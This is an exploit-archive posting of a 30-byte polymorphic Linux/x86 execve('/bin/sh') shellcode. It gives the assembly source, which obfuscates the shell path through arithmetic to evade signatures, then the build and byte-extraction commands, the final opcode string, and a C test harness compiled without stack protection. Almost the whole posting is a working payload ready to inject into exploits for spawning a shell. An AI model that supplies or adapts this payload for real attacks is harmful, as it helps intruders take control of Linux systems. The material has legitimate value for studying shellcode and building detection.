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Linux/x86 execve(/bin/sh) Polymorphic Shellcode

Linux/x86 execve(/bin/sh) Polymorphic Shellcode
Posted Oct 13, 2017
Authored by Manuel Mancera

30 bytes small Linux/x86 polymorphic execve(/bin/sh) shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 85b807d99a5c503478b74c10679b0d8fbbd59265759b08ece892f5b072154ee1

Linux/x86 execve(/bin/sh) Polymorphic Shellcode

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/*
Title: Linux/x86 - Polymorphic execve /bin/sh x86 shellcode - 30 bytes
Author: Manuel Mancera (@sinkmanu)
Tested on: Linux 3.16.0-4-586 #1 Debian 3.16.43-2+deb8u2 (2017-06-26)
i686 GNU/Linux

----------------- Assembly code -------------------

global _start

section .text
_start:
xor eax, eax
push eax
mov edi, 0x978cd092
mov ebx, edi
neg edi
push edi
sub ebx, 0x2e2aa163
push ebx
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 11
int 0x80

---------------------------------------------------
$ nasm -f elf32 poly-execve.nasm -o poly-execve.o
$ ld poly-execve.o -o poly-execve
$ objdump -d ./poly-execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/
/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\xbf\x92\xd0\x8c\x97\x89\xfb\xf7\xdf\x57\x81\xeb\x63\xa1\x2a\x2e\x53\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
Length: 30 bytes
$
*/

#include <stdio.h>
#include <string.h>

const char code[] = \
"\x31\xc0\x50\xbf\x92\xd0\x8c\x97\x89\xfb\xf7\xdf\x57\x81\xeb\x63\xa1\x2a\x2e\x53\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main()
{
printf("Length: %d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}

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